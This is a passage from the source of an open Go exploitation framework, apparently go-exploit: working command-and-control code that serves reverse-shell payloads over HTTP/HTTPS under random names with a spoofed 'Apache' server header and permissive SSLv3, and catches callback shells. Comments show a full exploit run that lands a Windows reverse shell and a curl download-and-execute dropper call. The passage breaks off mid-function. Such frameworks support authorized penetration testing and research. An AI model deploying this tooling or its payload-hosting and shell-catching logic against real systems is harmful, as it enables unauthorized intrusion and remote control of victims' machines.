\"SimpleShellClient\", Category: SimpleShellClientCategory},\n\t\"SSLShellServer\":    {Name: \"SSLShellServer\", Category: SSLShellServerCategory},\n\t\"HTTPServeFile\":     {Name: \"HTTPServeFile\", Category: HTTPServeFileCategory},\n\t\"HTTPServeShell\":    {Name: \"HTTPServeShell\", Category: HTTPServeShellCategory},\n\t\"HTTPShellServer\":   {Name: \"HTTPShellServer\", Category: HTTPShellServerCategory},\n\t// Ensure the internal supported External module name is an error if used\n\t// directly.\n\t\"External\":    {Name: \"\", Category: InvalidCategory},\n\t\"ShellTunnel\": {Name: \"ShellTunnel\", Category: ShellTunnelCategory},\n}\n\n// Add an external C2 to the supported list. Use this to integrate a new C2\n// into the framework. This is expected to be called early in the\n// configuration process in order to expose the name of the C2 to the rest\n// of the framework.\nfunc AddC2(name string) Impl {\n\t_, exists := internalSupported[name]\n\tif exists {\n\t\t// We might not want to panic, but it does simplify the call\n\t\tpanic(\"C2 type already exists\")\n\t}\n\n\ti := Impl{Name: name, Category: ExternalCategory}\n\tinternalSupported[name] = i\n\n\treturn i\n}\n\n// Factory pattern for creating c2 interfaces. Note that this is\n// returning an interface, which is a bit anti-Go but it's more or less\n// exactly what we want so.\nfunc GetInstance(implementation Impl) (Interface, bool) {\n\tswitch implementation.Category {\n\tcase SimpleShellServerCategory:\n\t\treturn simpleshell.GetServerInstance(), true\n\tcase SimpleShellClientCategory:\n\t\treturn simpleshell.GetClientInstance(), true\n\tcase SSLShellServerCategory:\n\t\treturn sslshell.GetInstance(), true\n\tcase HTTPServeFileCategory:\n\t\treturn httpservefile.GetInstance(), true\n\tcase HTTPServeShellCategory:\n\t\treturn httpserveshell.GetInstance(), true\n\tcase ExternalCategory:\n\t\tif implementation.Name != \"\" {\n\t\t\treturn external.GetInstance(implementation.Name), true\n\t\t}\n\tcase HTTPShellServerCategory:\n\t\treturn httpshellserver.GetInstance(), true\n\tcase ShellTunnelCategory:\n\t\treturn shelltunnel.GetInstance(), true\n\tcase InvalidCategory:\n\t\t// Calling your external C2 as explicitly invalid is odd.\n\t\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\t}\n\n\treturn nil, false\n}\n\n// Call into the c2 impl so that it can create command line flags.\nfunc CreateFlags(implementation Impl) {\n\tswitch implementation.Category {\n\tcase SimpleShellServerCategory:\n\t\tsimpleshell.GetServerInstance().CreateFlags()\n\tcase SimpleShellClientCategory:\n\t\tsimpleshell.GetClientInstance().CreateFlags()\n\tcase SSLShellServerCategory:\n\t\tsslshell.GetInstance().CreateFlags()\n\tcase HTTPServeFileCategory:\n\t\thttpservefile.GetInstance().CreateFlags()\n\tcase HTTPServeShellCategory:\n\t\thttpserveshell.GetInstance().CreateFlags()\n\tcase ExternalCategory:\n\t\tif implementation.Name != \"\" {\n\t\t\texternal.GetInstance(implementation.Name).CreateFlags()\n\t\t}\n\tcase HTTPShellServerCategory:\n\t\thttpshellserver.GetInstance().CreateFlags()\n\tcase ShellTunnelCategory:\n\t\tshelltunnel.GetInstance().CreateFlags()\n\tcase InvalidCategory:\n\t\t// Calling your external C2 as explicitly invalid is odd.\n\t\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\t}\n}\n\n// HadSessions returns if the underlying channel has any sessions, regardless of their Active value.\nfunc HadSessions(implementation Impl) bool {\n\tswitch implementation.Category {\n\tcase SimpleShellServerCategory:\n\t\treturn simpleshell.GetServerInstance().Channel().HadSessions()\n\tcase SimpleShellClientCategory:\n\t\treturn simpleshell.GetClientInstance().Channel().HadSessions()\n\tcase SSLShellServerCategory:\n\t\treturn sslshell.GetInstance().Channel().HadSessions()\n\tcase HTTPServeFileCategory:\n\t\treturn httpservefile.GetInstance().Channel().HadSessions()\n\tcase HTTPServeShellCategory:\n\t\treturn httpserveshell.GetInstance().Channel().HadSessions()\n\tcase ExternalCategory:\n\t\tif implementation.Name != \"\" {\n\t\t\treturn external.GetInstance(implementation.Name).Channel().HadSessions()\n\t\t}\n\tcase HTTPShellServerCategory:\n\t\treturn httpshellserver.GetInstance().Channel().HadSessions()\n\tcase ShellTunnelCategory:\n\t\treturn shelltunnel.GetInstance().Channel().HadSessions()\n\tcase InvalidCategory:\n\tdefault:\n\t}\n\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\n\treturn false\n}\n\n// HasSessions returns if the underlying channel has active sessions. This is useful for code that\n// needs to validate if callbacks have occurred and is a helper wrapper around the channel package\n// function of the same name.\nfunc HasSessions(implementation Impl) bool {\n\tswitch implementation.Category {\n\tcase SimpleShellServerCategory:\n\t\treturn simpleshell.GetServerInstance().Channel().HasSessions()\n\tcase SimpleShellClientCategory:\n\t\treturn simpleshell.GetClientInstance().Channel().HasSessions()\n\tcase SSLShellServerCategory:\n\t\treturn sslshell.GetInstance().Channel().HasSessions()\n\tcase HTTPServeFileCategory:\n\t\treturn httpservefile.GetInstance().Channel().HasSessions()\n\tcase HTTPServeShellCategory:\n\t\treturn httpserveshell.GetInstance().Channel().HasSessions()\n\tcase ExternalCategory:\n\t\tif implementation.Name != \"\" {\n\t\t\treturn external.GetInstance(implementation.Name).Channel().HasSessions()\n\t\t}\n\tcase HTTPShellServerCategory:\n\t\treturn httpshellserver.GetInstance().Channel().HasSessions()\n\tcase ShellTunnelCategory:\n\t\treturn shelltunnel.GetInstance().Channel().HasSessions()\n\tcase InvalidCategory:\n\tdefault:\n\t}\n\toutput.PrintFrameworkError(\"Invalid C2 Server\")\n\n\treturn false\n}\n\n// Return the internal representation of a C2 from a string.\nfunc StringToImpl(c2Name string) (Impl, bool) {\n\tfor _, value := range internalSupported {\n\t\tif value.Name == c2Name {\n\t\t\treturn value, true\n\t\t}\n\t}\n\n\treturn Impl{Name: \"\", Category: InvalidCategory}, false\n}\n"
  },
  {
    "path": "c2/factory_test.go",
    "content": "package c2\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/httpservefile\"\n)\n\nfunc TestHTTPServeFileInit(t *testing.T) {\n\timpl, success := GetInstance(HTTPServeFile)\n\tif !success {\n\t\tt.Fatal(\"Failed to create HTTPServeFile\")\n\t}\n\n\tif len(httpservefile.GetInstance().HostedFiles) != 0 {\n\t\tt.Fatal(\"Instance has a filename already\")\n\t}\n\thttpservefile.GetInstance().AddFile(\"name\", \"random\", []byte(\"data\"))\n\tif len(httpservefile.GetInstance().HostedFiles) != 1 {\n\t\tt.Fatalf(\"Should have added a file: %d\", len(httpservefile.GetInstance().HostedFiles))\n\t}\n\n\thttpservefile.GetInstance().FilesToServe = \"factory.go\"\n\tsuccess = impl.Init(&channel.Channel{IPAddr: \"127.0.0.2\", Port: 1271, HTTPAddr: \"127.0.0.1\", HTTPPort: 1270, IsClient: true})\n\tif success {\n\t\tt.Fatal(\"Failed to check if it was invoked as a client\")\n\t}\n\n\tsuccess = impl.Init(&channel.Channel{IPAddr: \"127.0.0.2\", Port: 1271, HTTPAddr: \"127.0.0.1\", HTTPPort: 1270, IsClient: false})\n\tif !success {\n\t\tt.Fatal(\"Failed to successfully process well-formed init call\")\n\t}\n\n\t// random name should have been generated\n\tif len(httpservefile.GetInstance().HostedFiles[\"factory.go\"].RandomName) == 0 {\n\t\tt.Fatal(\"Instance did not generate a random filename\")\n\t}\n\tif httpservefile.GetInstance().HTTPAddr != \"127.0.0.1\" {\n\t\tt.Fatal(\"Instance did not take up the http bind addr\")\n\t}\n\tif httpservefile.GetInstance().HTTPPort != 1270 {\n\t\tt.Fatal(\"Instance did not take up the http bind port\")\n\t}\n}\n\nfunc TestExternalModuleSingleton(t *testing.T) {\n\t_, success := GetInstance(Impl{Name: \"\", Category: InvalidCategory})\n\tif success {\n\t\tt.Fatal(\"Invalid & default External modules should not allow instance creation\")\n\t}\n\t_, success = GetInstance(Impl{Name: \"\", Category: ExternalCategory})\n\tif success {\n\t\tt.Fatal(\"Empty names should not be allowed\")\n\t}\n\t_, success = GetInstance(Impl{Name: \"i1\", Category: ExternalCategory})\n\tif !success {\n\t\tt.Fatal(\"Initial instance of external module was not returned\")\n\t}\n\t_, success = GetInstance(Impl{Name: \"i2\", Category: ExternalCategory})\n\tif !success {\n\t\tt.Fatal(\"Could not get second ExternalCategory instance\")\n\t}\n}\n\nfunc TestExternalModuleAddC2(t *testing.T) {\n\t_, ok := StringToImpl(\"blorp\")\n\tif ok {\n\t\tt.Fatal(\"StringToImpl should not have returned a value\")\n\t}\n\ti1 := AddC2(\"blorp\")\n\ti2, ok := StringToImpl(\"blorp\")\n\tif !ok {\n\t\tt.Fatal(\"StringToImpl should have returned a value\")\n\t}\n\tif i1 != i2 {\n\t\tt.Fatal(\"Added C2 does not match\")\n\t}\n}\n"
  },
  {
    "path": "c2/httpservefile/httpservefile.go",
    "content": "// httpservefile C2 spawns an HTTP or HTTPS server and hosts arbitrary user-provided files. The normal use case\n// is for an exploit to curl/wget the file and execute it. This is useful to spawn connections to other\n// tools (e.g. Metasploit, nc, etc.) or to go-exploit. This is not a traditional \"c2\" but serves as a useful\n// backend that logically plugs into our c2 design.\n//\n// Files are provided on the command line as a comma delimited string. For example:\n//\n//\t-httpServeFile.FilesToServe ./build/reverse_shell_windows-arm64.exe,./build/reverse_shell_linux-amd64\n//\n// The above will load two files: a windows reverse shell and a linux reverse shell. This c2 will then\n// generate random names for the files and host them on an HTTP / HTTPS server. To interact with the\n// files from an implementing exploit, you can fetch the filename to random name mapping using\n// GetRandomName(). For example:\n//\n//\thttpservefile.GetInstance().GetRandomName(linux64)\n//\n// Where linux64 is a variable that contains \"reverse_shell_linux-amd64\".\n//\n// If you are only hosting one file, then GetRandomName(\"\") will also return your one file.\n//\n// Files can also be provided programmatically via the AddFile function (must be called before run).\npackage httpservefile\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/encryption\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/random\"\n)\n\ntype HostedFile struct {\n\t// The user provided filename\n\tRealName string\n\t// A randomly generated filename to serve\n\tRandomName string\n\t// The file's data\n\tFileData []byte\n}\n\ntype Server struct {\n\t// The HTTP address to bind to\n\tHTTPAddr string\n\t// The HTTP port to bind to\n\tHTTPPort int\n\t// Set to the Server field in HTTP response\n\tServerField string\n\t// Indicates if TLS should be enabled\n\tTLS bool\n\t// The file path to the user provided private key (if provided)\n\tPrivateKeyFile string\n\t// The file path to the user provided certificate (if provided)\n\tCertificateFile string\n\t// Loaded certificate\n\tCertificate tls.Certificate\n\t// A map of hosted files\n\tHostedFiles map[string]HostedFile // RealName -> struct\n\t// A comma delimited list of all the files to serve\n\tFilesToServe string\n\t// C2 channel and session metadata\n\tchannel *channel.Channel\n}\n\nvar singleton *Server\n\n// A basic singleton interface for the c2.\nfunc GetInstance() *Server {\n\tif singleton == nil {\n\t\tsingleton = new(Server)\n\t\t// init hosted files map\n\t\tsingleton.HostedFiles = make(map[string]HostedFile)\n\t}\n\n\treturn singleton\n}\n\n// User options for serving a file over HTTP as the \"c2\".\nfunc (httpServer *Server) CreateFlags() {\n\t// some c2 are really just chained implementations (e.g. httpserveshell is httpservefile plus simpleshell or sslshell).\n\t// so first check if these values have already been generated\n\tif flag.Lookup(\"httpServeFile.FilesToServe\") == nil {\n\t\tflag.StringVar(&httpServer.FilesToServe, \"httpServeFile.FilesToServe\", \"\", \"A comma delimited list of all the files to serve\")\n\t\tflag.StringVar(&httpServer.ServerField, \"httpServeFile.ServerField\", \"Apache\", \"The value to insert in the HTTP server field\")\n\t\tflag.BoolVar(&httpServer.TLS, \"httpServeFile.TLS\", false, \"Indicates if the HTTP server should use encryption\")\n\t\tflag.StringVar(&httpServer.PrivateKeyFile, \"httpServeFile.PrivateKeyFile\", \"\", \"A private key to use with the HTTPS server\")\n\t\tflag.StringVar(&httpServer.CertificateFile, \"httpServeFile.CertificateFile\", \"\", \"The certificate to use with the HTTPS server\")\n\t}\n}\n\n// Return the C2 specific channel.\nfunc (httpServer *Server) Channel() *channel.Channel {\n\treturn httpServer.channel\n}\n\n// Shutdown the C2 server and cleanup all the sessions.\nfunc (httpServer *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif httpServer.Channel() == nil {\n\t\treturn true\n\t}\n\toutput.PrintFrameworkStatus(\"Shutting down the HTTP Server\")\n\tif len(httpServer.Channel().Sessions) > 0 {\n\t\tfor k := range httpServer.Channel().Sessions {\n\t\t\thttpServer.Channel().RemoveSession(k)\n\t\t}\n\t}\n\n\treturn true\n}\n\n// load the provided files into memory, stored in a map, and loads the tls cert if needed.\nfunc (httpServer *Server) Init(channel *channel.Channel) bool {\n\tif channel.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tchannel.Shutdown = &shutdown\n\t}\n\thttpServer.channel = channel\n\tif channel.IsClient {\n\t\toutput.PrintFrameworkError(\"Called C2HTTPServer as a client. Use lhost and lport.\")\n\n\t\treturn false\n\t}\n\n\tswitch {\n\tcase channel.HTTPPort == 0 && channel.Port != 0:\n\t\t// must be stand-alone invocation of HTTPServeFile\n\t\thttpServer.HTTPAddr = channel.IPAddr\n\t\thttpServer.HTTPPort = channel.Port\n\tcase channel.HTTPPort != 0:\n\t\t// must be used with another C2\n\t\thttpServer.HTTPAddr = channel.HTTPAddr\n\t\thttpServer.HTTPPort = channel.HTTPPort\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Called HTTPServeFile without specifying a bind port.\")\n\n\t\treturn false\n\t}\n\n\t// split the provided files, read them in, and store them in the map\n\tfiles := strings.Split(httpServer.FilesToServe, \",\")\n\tfor _, file := range files {\n\t\tif len(file) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\toutput.PrintfFrameworkStatus(\"Loading the provided file: %s\", file)\n\t\tfileData, err := os.ReadFile(file)\n\t\tif err != nil {\n\t\t\toutput.PrintFrameworkError(err.Error())\n\n\t\t\treturn false\n\t\t}\n\n\t\t// remove the path from the name (check for / and \\)\n\t\tshortName := file\n\t\tpathSepIndex := strings.LastIndex(shortName, \"/\")\n\t\tif pathSepIndex != -1 {\n\t\t\tshortName = shortName[pathSepIndex+1:]\n\t\t}\n\t\tpathSepIndex = strings.LastIndex(shortName, `\\`)\n\t\tif pathSepIndex != -1 {\n\t\t\tshortName = shortName[pathSepIndex+1:]\n\t\t}\n\n\t\thosted := HostedFile{\n\t\t\tRealName:   shortName,\n\t\t\tRandomName: random.RandLetters(12),\n\t\t\tFileData:   fileData,\n\t\t}\n\n\t\toutput.PrintfFrameworkDebug(\"Added %s as %s\", hosted.RealName, hosted.RandomName)\n\t\thttpServer.HostedFiles[shortName] = hosted\n\t}\n\n\tif httpServer.TLS {\n\t\tvar ok bool\n\t\tvar err error\n\t\tif len(httpServer.CertificateFile) != 0 && len(httpServer.PrivateKeyFile) != 0 {\n\t\t\thttpServer.Certificate, err = tls.LoadX509KeyPair(httpServer.CertificateFile, httpServer.PrivateKeyFile)\n\t\t\tif err != nil {\n\t\t\t\toutput.PrintfFrameworkError(\"Error loading certificate: %s\", err.Error())\n\n\t\t\t\treturn false\n\t\t\t}\n\t\t} else {\n\t\t\toutput.PrintFrameworkStatus(\"Certificate not provided. Generating a TLS Certificate\")\n\t\t\thttpServer.Certificate, ok = encryption.GenerateCertificate()\n\t\t\tif !ok {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Adds a file to the server. A route will be created for \"randomName\" when run() is executed.\nfunc (httpServer *Server) AddFile(realName string, randomName string, data []byte) {\n\thostMe := HostedFile{RealName: realName, RandomName: randomName, FileData: data}\n\thttpServer.HostedFiles[realName] = hostMe\n}\n\n// start the HTTP server and listen for incoming requests for `httpServer.FileName`.\nfunc (httpServer *Server) Run(timeout int) {\n\tif len(httpServer.HostedFiles) == 0 {\n\t\toutput.PrintFrameworkError(\"No files provided via httpServeFile.FilesToServe or programmatically\")\n\n\t\treturn\n\t}\n\n\t// set up handlers for each of the files\n\tfor _, hosted := range httpServer.HostedFiles {\n\t\thttp.HandleFunc(\"/\"+hosted.RandomName, func(writer http.ResponseWriter, req *http.Request) {\n\t\t\toutput.PrintfFrameworkStatus(\"Connection from %s requested %s\", req.RemoteAddr, req.URL.Path)\n\t\t\thttpServer.Channel().AddSession(nil, req.RemoteAddr)\n\n\t\t\twriter.Header().Set(\"Server\", httpServer.ServerField)\n\n\t\t\tname := path.Base(req.URL.Path)\n\t\t\t// cannot used hosted as the values move on with the loop\n\t\t\tfor _, selected := range httpServer.HostedFiles {\n\t\t\t\tif selected.RandomName == name {\n\t\t\t\t\thttp.ServeContent(writer, req, selected.RandomName, time.Time{}, bytes.NewReader(selected.FileData))\n\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twriter.WriteHeader(http.StatusNotFound)\n\t\t})\n\t}\n\n\tvar wg sync.WaitGroup\n\tconnectionString := fmt.Sprintf(\"%s:%d\", httpServer.HTTPAddr, httpServer.HTTPPort)\n\twg.Add(1)\n\tgo func() {\n\t\tif httpServer.TLS {\n\t\t\toutput.PrintfFrameworkStatus(\"Starting an HTTPS server on %s\", connectionString)\n\t\t\ttlsConfig := &tls.Config{\n\t\t\t\tCertificates: []tls.Certificate{httpServer.Certificate},\n\t\t\t\t// We have no control over the SSL versions supported on the remote target. Be permissive for more targets.\n\t\t\t\tMinVersion: tls.VersionSSL30,\n\t\t\t}\n\t\t\tserver := http.Server{\n\t\t\t\tAddr:      connectionString,\n\t\t\t\tTLSConfig: tlsConfig,\n\t\t\t}\n\t\t\tdefer server.Close()\n\t\t\t// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif httpServer.Channel().Shutdown.Load() {\n\t\t\t\t\t\tserver.Close()\n\t\t\t\t\t\thttpServer.Shutdown()\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t// Handle timeouts\n\t\t\tgo func() {\n\t\t\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\t\t// We do not care about sessions with file\n\t\t\t\thttpServer.channel.Shutdown.Store(true)\n\t\t\t}()\n\n\t\t\t_ = server.ListenAndServeTLS(\"\", \"\")\n\t\t} else {\n\t\t\toutput.PrintfFrameworkStatus(\"Starting an HTTP server on %s\", connectionString)\n\t\t\tserver := http.Server{\n\t\t\t\tAddr: connectionString,\n\t\t\t}\n\t\t\tdefer server.Close()\n\t\t\t// Track if the server has signaled for shutdown and if so mark the waitgroup and trigger shutdown\n\t\t\tgo func() {\n\t\t\t\tfor {\n\t\t\t\t\tif httpServer.Channel().Shutdown.Load() {\n\t\t\t\t\t\tserver.Close()\n\t\t\t\t\t\thttpServer.Shutdown()\n\t\t\t\t\t\twg.Done()\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t\t\t}\n\t\t\t}()\n\t\t\t// Handle timeouts\n\t\t\tgo func() {\n\t\t\t\ttime.Sleep(time.Duration(timeout) * time.Second)\n\t\t\t\toutput.PrintFrameworkError(\"Timeout met. Shutting down shell listener.\")\n\t\t\t\t// We do not care about sessions with file\n\t\t\t\thttpServer.channel.Shutdown.Store(true)\n\t\t\t}()\n\t\t\t_ = http.ListenAndServe(connectionString, nil)\n\t\t}\n\t}()\n\n\twg.Wait()\n\thttpServer.Channel().Shutdown.Store(true)\n}\n\n// Returns the random name of the provided filename. If filename is empty, return the first entry.\nfunc (httpServer *Server) GetRandomName(filename string) string {\n\tif len(filename) == 0 {\n\t\tfor _, hosted := range httpServer.HostedFiles {\n\t\t\treturn hosted.RandomName\n\t\t}\n\t}\n\n\thosted, found := httpServer.HostedFiles[filename]\n\tif !found {\n\t\toutput.PrintfFrameworkError(\"Requested a file that doesn't exist: %s\", filename)\n\n\t\treturn \"\"\n\t}\n\n\treturn hosted.RandomName\n}\n"
  },
  {
    "path": "c2/httpserveshell/httpserveshell.go",
    "content": "// httpservershell is (literally) a combination of HTTPServeFile and (SSLShell || SimpleShellServer).\n// The use case is when you want to drop/execute a custom binary, but you still want to catch it in\n// go-exploit. Example usage:\n//\n//\t\talbinolobster@mournland:~/initial-access/feed/cve-2023-30801$ ./build/cve-2023-30801_linux-arm64\n//\t \t\t-e -rhost 10.9.49.133 -lhost 10.9.49.134 -lport 1270 -httpServeFile.BindAddr 10.9.49.134\n//\t \t\t-httpServeShell.SSLShell=false -httpServeFile.FilesToServe ./build/reverse_shell_windows-amd64.exe\n//\t \t\t-httpServeFile.TLS=true\n//\t\ttime=2023-09-08T11:07:20.852-04:00 level=STATUS msg=\"Loading the provided file: ./build/reverse_shell_windows-amd64.exe\"\n//\t\ttime=2023-09-08T11:07:20.856-04:00 level=STATUS msg=\"Certificate not provided. Generating a TLS Certificate\"\n//\t\ttime=2023-09-08T11:07:21.010-04:00 level=STATUS msg=\"Starting listener on 10.9.49.134:1270\"\n//\t\ttime=2023-09-08T11:07:21.010-04:00 level=STATUS msg=\"Starting target\" index=0 host=10.9.49.133 port=8080 ssl=false \"ssl auto\"=false\n//\t\ttime=2023-09-08T11:07:21.010-04:00 level=STATUS msg=\"Starting an HTTPS server on 10.9.49.134:8080\"\n//\t\ttime=2023-09-08T11:07:21.092-04:00 level=STATUS msg=\"Using session: SID=rIOk9SAl5TXTqIfpVGmYUn/kB+VuMrqo\"\n//\t\ttime=2023-09-08T11:07:21.095-04:00 level=STATUS msg=\"Selecting a Windows payload\"\n//\t\ttime=2023-09-08T11:07:21.309-04:00 level=SUCCESS msg=\"Caught new shell from 10.9.49.133:51706\"\n//\t\ttime=2023-09-08T11:07:21.309-04:00 level=STATUS msg=\"Active shell from 10.9.49.133:51706\"\n//\t\ttime=2023-09-08T11:07:23.180-04:00 level=STATUS msg=\"Exploit successfully completed\"\n//\t\twhoami\n//\t\talbinolobst9bd8\\albinolobster\n//\n// From the exploit code, interacting with the variables isn't too much different from using httpServeFile\n// (since httpServeShell is just a wrapper):\n//\n//\tdownAndExec := dropper.Windows.CurlHTTP(\n//\t\thttpservefile.GetInstance().HTTPAddr, httpservefile.GetInstance().HTTPPort,\n//\t\thttpservefile.GetInstance().TLS, httpservefile.GetInstance().GetRandomName(windows64))\n//\n// Which means anything that supports httpServeShell should also trivially support httpServeFile (and the other way around\n// as long as you are accounting for httpServeFile.SSLShell).\npackage httpserveshell\n\nimport (\n\t\"flag\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2/channel\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/httpservefile\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/simpleshell\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/sslshell\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\ntype Server struct {\n\t// Indicates if we should use SSLShell or SimpleShell\n\tSSLShell bool\n\t// The HTTP address to bind to\n\tHTTPAddr string\n\t// The HTTP port to bind to\n\tHTTPPort int\n\t// The underlying C2 channel with metadata and session information\n\tchannel     *channel.Channel\n\tpastTimeout atomic.Bool\n}\n\nvar singleton *Server\n\n// A basic singleton interface for the c2.\nfunc GetInstance() *Server {\n\tif singleton == nil {\n\t\tsingleton = new(Server)\n\t}\n\n\treturn singleton\n}\n\n// User options for serving a file over HTTP as the \"c2\".\nfunc (serveShell *Server) CreateFlags() {\n\tflag.BoolVar(&serveShell.SSLShell, \"httpServeShell.SSLShell\", false, \"Indicates if the SSLShell or SimpleShell is used\")\n\n\t// normal \"httpservefile\" uses lhost,lport for binding so we need to create new vars for that\n\tflag.StringVar(&serveShell.HTTPAddr, \"httpServeFile.BindAddr\", \"\", \"The address to bind the HTTP serve to\")\n\tflag.IntVar(&serveShell.HTTPPort, \"httpServeFile.BindPort\", 8080, \"The port to bind the HTTP serve to\")\n\n\thttpservefile.GetInstance().CreateFlags()\n\tsslshell.GetInstance().CreateFlags()\n}\n\n// load the provided file into memory. Generate the random filename.\nfunc (serveShell *Server) Init(ch *channel.Channel) bool {\n\tif ch.Shutdown == nil {\n\t\t// Initialize the shutdown atomic. This lets us not have to define it if the C2 is manually\n\t\t// configured.\n\t\tvar shutdown atomic.Bool\n\t\tshutdown.Store(false)\n\t\tch.Shutdown = &shutdown\n\t}\n\tserveShell.pastTimeout.Store(false)\n\tserveShell.channel = ch\n\tif len(serveShell.HTTPAddr) == 0 {\n\t\toutput.PrintFrameworkError(\"User must specify -httpServeFile.BindAddr\")\n\n\t\treturn false\n\t}\n\tch.HTTPAddr = serveShell.HTTPAddr\n\tch.HTTPPort = serveShell.HTTPPort\n\n\tif !httpservefile.GetInstance().Init(ch) {\n\t\treturn false\n\t}\n\n\t// Initialize the shell server channels with variables from upstream\n\tvar shutdown atomic.Bool\n\tshutdown.Store(false)\n\tshellChannel := &channel.Channel{\n\t\tIPAddr:   ch.IPAddr,\n\t\tPort:     ch.Port,\n\t\tIsClient: false,\n\t\tShutdown: &shutdown,\n\t}\n\tif serveShell.SSLShell {\n\t\treturn sslshell.GetInstance().Init(shellChannel)\n\t}\n\n\treturn simpleshell.GetServerInstance().Init(shellChannel)\n}\n\n// Shutdown triggers the shutdown for all running C2s.\nfunc (serveShell *Server) Shutdown() bool {\n\t// Account for non-running case\n\tif serveShell.Channel() == nil {\n\t\treturn true\n\t}\n\t// This is a bit confusing at first glance, but it solves the fact that this c2 doesn't directly\n\t// keep track of sessions and we can't differentiate between a timeout \"done\" and a signal \"done\".\n\t// What this means is that if a underlying shell server has sessions that we want to keep open for\n\t// use after callbacks occur we have to account for a few things:\n\t//\n\t//  - If serveShell shutdown is called and there are no sessions, just trigger shutdown on the\n\t//    underlying shell server (easy).\n\t//  - If the server does have sessions, we have a few issues. The serveShell shutdown is triggered\n\t//    from a shutdown call, meaning that it's already in a closing state. There is no way to tell\n\t//    if it was an OS signal or a timeout anymore and now if a background shell is running and we\n\t//    are closing serveShell we cannot catch the signal and pass the shutdown to the shell server.\n\t//\n\t// In order to solve the second, we added a `pastTimeout` atomic that only signals if we are past\n\t// timeout. Now, when timeout is reached and there's a background shell (the positive case) we\n\t// reset the Shutdown atomic to false and then begin looping to check if it closes again, making\n\t// the server in a state that it knows it's past timeout and reactivating the server until a\n\t// signal is hit or the underlying server also shuts down.\n\n\thttpservefile.GetInstance().Channel().Shutdown.Store(true)\n\tif serveShell.SSLShell {\n\t\tif !sslshell.GetInstance().Channel().HasSessions() {\n\t\t\tsslshell.GetInstance().Channel().Shutdown.Store(true)\n\t\t} else {\n\t\t\t// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.\n\t\t\tserveShell.Channel().Shutdown.Store(false)\n\t\t\tfor {\n\t\t\t\tif serveShell.Channel().Shutdown.Load() {\n\t\t\t\t\t// The the shutdown happens and it is past timeout, that means that\n\t\t\t\t\t// we have sessions but timeout has passed, so reset all atomics.\n\t\t\t\t\t// Now when the loop happens we will be able to check for other\n\t\t\t\t\t// shutdown signals of any kind.\n\t\t\t\t\tif serveShell.pastTimeout.Load() {\n\t\t\t\t\t\tserveShell.Channel().Shutdown.Store(false)\n\t\t\t\t\t\tserveShell.pastTimeout.Store(false)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsslshell.GetInstance().Channel().Shutdown.Store(true)\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tif !simpleshell.GetServerInstance().Channel().HasSessions() {\n\t\t\tsimpleshell.GetServerInstance().Channel().Shutdown.Store(true)\n\t\t} else {\n\t\t\t// Session exist, reset the shutdown atomic and loop until a second shutdown occurs.\n\t\t\tserveShell.Channel().Shutdown.Store(false)\n\t\t\tfor {\n\t\t\t\tif serveShell.Channel().Shutdown.Load() {\n\t\t\t\t\t// The the shutdown happens and it is past timeout, that means that\n\t\t\t\t\t// we have sessions but timeout has passed, so reset all atomics.\n\t\t\t\t\t// Now when the loop happens we will be able to check for other\n\t\t\t\t\t// shutdown signals of any kind.\n\t\t\t\t\tif serveShell.pastTimeout.Load() {\n\t\t\t\t\t\tserveShell.Channel().Shutdown.Store(false)\n\t\t\t\t\t\tserveShell.pastTimeout.Store(false)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsimpleshell.GetServerInstance().Channel().Shutdown.Store(true)\n\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}\n\n// Return the underlying C2 channel.\nfunc (serveShell *Server) Channel() *channel.Channel {\n\treturn serveShell.channel\n}\n\n// start the http server and shell and wait for them to exit.\nfunc (serveShell *Server) Run(timeout int) {\n\tvar wg sync.WaitGroup\n\n\t// Check if the channel has signaled shutdown and trigger cleanup no matter where it comes from.\n\tgo func() {\n\t\tfor {\n\t\t\tif serveShell.channel.Shutdown.Load() 